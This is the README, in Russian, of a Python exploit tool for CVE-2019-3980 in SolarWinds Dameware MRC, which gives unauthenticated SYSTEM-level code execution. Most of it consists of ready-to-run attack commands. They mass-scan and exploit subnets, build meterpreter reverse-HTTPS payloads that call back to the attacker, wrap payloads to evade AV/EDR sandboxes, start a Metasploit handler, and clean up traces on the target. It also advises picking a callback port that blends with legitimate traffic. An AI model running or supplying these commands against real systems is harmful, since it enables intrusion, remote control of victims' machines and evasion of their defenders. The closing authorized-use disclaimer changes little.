
Эксплойт на Python 3 для CVE-2019-3980. Неаутентифицированное RCE с правами SYSTEM через обход аутентификации смарт-карты SolarWinds Dameware MRC.

Неаутентифицированное удалённое выполнение кода через обход аутентификации смарт-карты в SolarWinds Dameware MRC
CVE-2019-3980 | CVSS 9.8 Критический | TCP/6129
Оригинальное исследование и POC: Tenable, Inc. (TRA-2019-43)
Инструмент на Python 3: David Boyd (@Fir3d0g)
Dameware MRC предоставляет службу удалённого управления (DWRCS.exe) на порту TCP/6129. Во время рукопожатия аутентификации смарт-карты сервер принимает предоставленный атакующим файл в качестве установщика драйвера смарт-карты (dwDrvInst.exe) и выполняет его от имени SYSTEM без какой-либо аутентификации.
DameFlare реализует полное протокольное рукопожатие (согласование версии → вывод ключа AES → обмен ключами Диффи-Хеллмана → подпись RSA → загрузка драйвера) для доставки произвольной нагрузки и достижения неаутентифицированного удалённого выполнения кода.
| Продукт | Уязвимые | Исправленные |
|---|---|---|
| Dameware MRC 12.0.x | Все сборки | Hotfix 1 |
| Dameware MRC 12.1.x | Все сборки | Hotfix 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
Удаление артефакта dwDrvInst.exe с цели после эксплуатации:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
Требуется msfvenom в PATH. Загружает самоудаляющийся EXE, который удаляет dwDrvInst.exe и сам себя после короткой задержки.
В качестве альтернативы, при наличии учётных данных, можно использовать что-то вроде NXC:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
Оберните сырой шеллкод с помощью экологической привязки, чтобы обойти анализ в песочнице AV/EDR. Нагрузка будет расшифрована и выполнена только на машине, где ключи совпадают. Огромная благодарность Kevin Clark (@GuhnooPlusLinux) за его отличную работу!
# Key on domain and hostname (use short names, not FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# Key on domain only
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# Static key only (useful for testing)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# Alternative injection methods if srdi-shellcode is caught
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
Примечание: Имя нагрузки должно точно совпадать между msfvenom и обработчиком:
- Безстейджевая:
windows/x64/meterpreter_reverse_https(подчёркивание)- Стейджевая:
windows/x64/meterpreter/reverse_https(слеш)
Совет: В средах Dameware порт
6129часто разрешён для исходящего трафика и смешивается с легитимным трафиком DWRCS. Если порт443заблокирован или проверяется прокси, попробуйтеLPORT=6129, так как целевая сеть, скорее всего, спроектирована так, чтобы его разрешать.
Этот инструмент предназначен для использования только в процессе авторизованного тестирования на проникновение и операций красных команд. Автор не несёт ответственности за несанкционированное или противоправное использование.